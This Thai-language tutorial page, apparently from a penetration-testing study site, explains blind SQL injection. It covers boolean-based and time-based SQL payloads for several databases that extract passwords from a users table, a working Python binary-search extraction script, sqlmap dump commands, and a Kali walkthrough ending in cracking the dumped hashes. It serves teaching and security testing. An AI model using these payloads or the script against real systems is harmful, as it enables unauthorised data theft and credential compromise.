Blind SQL Injection
Blind SQLi คือ SQL injection ที่ผลลัพธ์ไม่แสดงออกมาตรงๆ ต้องอนุมาน (infer) ข้อมูลทีละบิตจากพฤติกรรมของแอป — response ที่ต่างกัน (boolean-based) หรือเวลาตอบสนอง (time-based) บทนี้อธิบายทั้งสองแบบเชิงลึก พร้อมเทคนิค binary search การเขียนสคริปต์ดึงข้อมูลอัตโนมัติ และ payload ตามชนิด DB
1. Blind คืออะไร
เมื่อ query ที่ inject ได้ไม่คืน output ให้เห็น (ไม่มี error message, ไม่มีข้อมูลสะท้อนกลับหน้าเพจ) ต้องใช้ blind — เปลี่ยนจาก 'ขอข้อมูล' เป็น 'ถามคำถาม yes/no' กับฐานข้อมูลทีละข้อ แล้วอ่านคำตอบจากพฤติกรรมที่ต่างกัน แต่ละคำถามได้ 1 บิต การประกอบข้อมูลจึงต้องยิงหลาย request
| ชนิด blind | ช่องสัญญาณ | ความเร็ว | ใช้เมื่อ |
|---|---|---|---|
| Boolean-based | response ต่าง (ความยาว/ข้อความ/status) | เร็วกว่า | เงื่อนไขจริง/เท็จให้หน้าต่างกัน |
| Time-based | เวลาตอบสนอง | ช้าที่สุด | response เหมือนกันหมด เหลือแค่เวลา |
2. Boolean-based
ส่งเงื่อนไขที่ทำให้ query คืนผลจริงหรือเท็จ แล้วเทียบ response — ความยาว body, ข้อความ (เช่น "Welcome" vs "Invalid"), หรือ HTTP status ที่ต่างกันคือคำตอบ ดึงข้อมูลทีละตัวอักษรด้วย SUBSTRING + เทียบ ASCII
-- แบบไล่ทีละค่า (ช้า: สูงสุด ~95 ครั้ง/ตัวอักษร)
1' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- -
-- ถ้าหน้า 'ปกติ' = ตัวอักษรตำแหน่งที่ 1 คือ 'a'
-- แบบ binary search (เร็ว: ~7 ครั้ง/ตัวอักษร)
1' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>77-- -
-- true → ตัวอักษร > 'M' → ค่อยหารครึ่งช่วง 78..126
-- false → <= 77 → หาร 32..77 ต่อ
-- หาความยาวก่อน (จะได้รู้ว่าดึงกี่ตัว)
1' AND LENGTH((SELECT password FROM users LIMIT 1))=32-- -3. Time-based
ใช้เมื่อ response เหมือนกันหมดไม่ว่าเงื่อนไขจริงหรือเท็จ — เปลี่ยนไปวัด เวลา ถ้าเงื่อนไขจริงให้ DB หน่วงเวลา (SLEEP) แล้ววัดว่า response ช้าลงถึงเกณฑ์ไหม ใช้ได้เสมอแต่ช้าและเจอ noise จากเน็ตเวิร์ก
| DB | ฟังก์ชันหน่วงเวลา | รูปแบบ conditional |
|---|---|---|
| MySQL | SLEEP(5) | IF(cond,SLEEP(5),0) |
| PostgreSQL | pg_sleep(5) | CASE WHEN cond THEN pg_sleep(5) ELSE pg_sleep(0) END |
| MSSQL | WAITFOR DELAY '0:0:5' | IF(cond) WAITFOR DELAY '0:0:5' |
| Oracle | dbms_pipe.receive_message(('a'),5) | CASE WHEN cond THEN ... END |
| MySQL (ไม่มี SLEEP) | heavy query | RLIKE / BENCHMARK(5000000,MD5(1)) |
-- MySQL
1' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>77,SLEEP(3),0)-- -
-- PostgreSQL (stacked/inline)
1'; SELECT CASE WHEN (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>77) THEN pg_sleep(3) ELSE pg_sleep(0) END-- -
-- MSSQL
1'; IF (ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1))>77) WAITFOR DELAY '0:0:3'-- -
-- response ช้า ~3 วิ = เงื่อนไขจริง4. เขียนสคริปต์ดึงข้อมูล (Python)
เมื่อ sqlmap ใช้ไม่ได้ (WAF, logic แปลก, ต้อง custom) การเขียนสคริปต์เองด้วย binary search คุมได้ทุกอย่าง นี่คือ template ที่ใช้ได้จริง
import requests, string
URL = "https://target/item"
# ปรับ query ให้ตรงกับข้อมูลที่ต้องการดึง
SUBQ = "(SELECT password FROM users LIMIT 1)"
def is_true(cond):
payload = f"1' AND {cond}-- -"
r = requests.get(URL, params={"id": payload})
# differentiator: ปรับให้ตรงกับหน้า true จริงของเป้าหมาย
return "Welcome" in r.text # หรือ len(r.text) > N / r.status_code == 200
def extract(maxlen=40):
out = ""
for pos in range(1, maxlen + 1):
lo, hi = 32, 126
if not is_true(f"ASCII(SUBSTRING({SUBQ},{pos},1))>0"):
break # หมดข้อมูล
while lo < hi:
mid = (lo + hi) // 2
if is_true(f"ASCII(SUBSTRING({SUBQ},{pos},1))>{mid}"):
lo = mid + 1
else:
hi = mid
out += chr(lo)
print(f"[{pos}] {out}")
return out
print(extract())5. Automate ด้วย sqlmap
# B=boolean blind, T=time-based
sqlmap -r request.txt --technique=BT --batch --dump
# บังคับ time-based + ปรับ delay ถ้าเน็ตแกว่ง
sqlmap -r request.txt --technique=T --time-sec=5 --batch
# เร่งด้วย threads (ระวัง server รับไหว)
sqlmap -r request.txt --technique=B --threads=10 --batch
# ถ้าต้อง custom differentiator ของ boolean
sqlmap -r request.txt --technique=B --string="Welcome" --batch--threads สูงไม่ได้ (เวลาจะรบกวนกัน) และสร้างภาระ DB มาก ใช้เท่าที่จำเป็น boolean เร่ง thread ได้ปลอดภัยกว่า6. ข้อผิดพลาดที่พบบ่อย
- หา differentiator ไม่ชัด → สคริปต์อ่านผิดทุก request (ยืนยันด้วย payload true/false ที่รู้ผลก่อน)
- time-based ตั้ง delay สั้นเกิน → เน็ต latency ทำให้ false positive
- ลืมหา LENGTH ก่อน เลยไม่รู้ว่าจบตรงไหน (ดึงเกินหรือขาด)
- ไล่ทีละตัวอักษรแทน binary search → ช้ากว่า 10 เท่า
- ไม่ตั้ง retry — request หลุด 1 อันทำให้ค่าทั้งสายเพี้ยน
- ยิงเร็วเกินจน rate-limit/WAF บล็อก (ใส่ delay/jitter)
7. Quick Reference
- ไม่มี output → blind: response ต่าง = boolean, เหมือนหมด = time
- หา differentiator ก่อน แล้วดึงทีละตัวอักษรด้วย
SUBSTRING+ASCII - ใช้ binary search (> <) เร็วกว่าไล่ทีละค่า ~10 เท่า
- หา
LENGTH()ก่อนเพื่อรู้จุดจบ - time-based: MySQL
SLEEP, PostgreSQLpg_sleep, MSSQLWAITFOR - ทำมือช้า →
sqlmap --technique=BT· custom → เขียน Python เอง - ดูหัวข้อ SQL Injection สำหรับพื้นฐาน และ Time-based SQLi สำหรับรายละเอียดเวลา
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติยืนยันแล้วว่าเป็น blind SQLi (response ต่าง true/false แต่ไม่มี error/ไม่มีข้อมูลสะท้อน) มีแค่ Kali ทำตามนี้เพื่อดึงข้อมูลออกมาทีละตัวอักษร
- 1ยืนยันคู่ true/false อีกครั้งให้ชัด: ' AND 1=1-- - เทียบกับ ' AND 1=2-- - ดูว่า response/length ต่างกันแน่นอน
- 2จด baseline ของ response ที่ใช้แยก true/false ได้ชัด (เช่น content-length, คำว่า 'Welcome' หายไป)
- 3ทดสอบดึง version ทีละตัวอักษร: ' AND SUBSTRING(@@version,1,1)='5'-- - ปรับตัวเลข/ตัวอักษรไล่จนตรง
- 4เมื่อมั่นใจ logic แล้ว เซฟ request เป็น req.txt แล้วรัน sqlmap -r req.txt --batch --technique=B --dump ให้ดึงอัตโนมัติแทนมือ
- 5ถ้า sqlmap ช้าเกินไป ลองเพิ่ม --threads 5 หรือระบุ --dbms ให้ตรงเพื่อลดจำนวน request ที่ต้องเดา
- 6ถ้า boolean ไม่ชัดพอ (response แทบไม่ต่าง) ให้เปลี่ยนไปทาง time-based แทน
- 7ถ้าอยากเขียน script เองแทน sqlmap ใช้ python3 + requests วน binary search ทีละตัวอักษร (เร็วกว่าไล่ linear)
- 8เมื่อ dump ข้อมูลได้ (username/hash) เอา hash ไป crack ต่อด้วย hashcat หรือ crackstation.net
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ยืนยัน true/false อัตโนมัติ | sqlmap (--technique=B) | already in Kali | - |
| brute-force ทีละตัวอักษร (ทางเลือก) | Burp Intruder (Cluster bomb) | - | - |
| เขียน script binary search เอง | python3 + requests | pip install requests | - |
| encode payload หลบ WAF | - | - | CyberChef |
| เรียนรู้เทคนิค blind เพิ่ม | - | - | portswigger web security academy |
| crack hash ที่ dump ได้ | hashcat / john | already in Kali | crackstation.net / hashes.com |
| ทดสอบ payload มือก่อนยิงชุดใหญ่ | curl | already in Kali | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้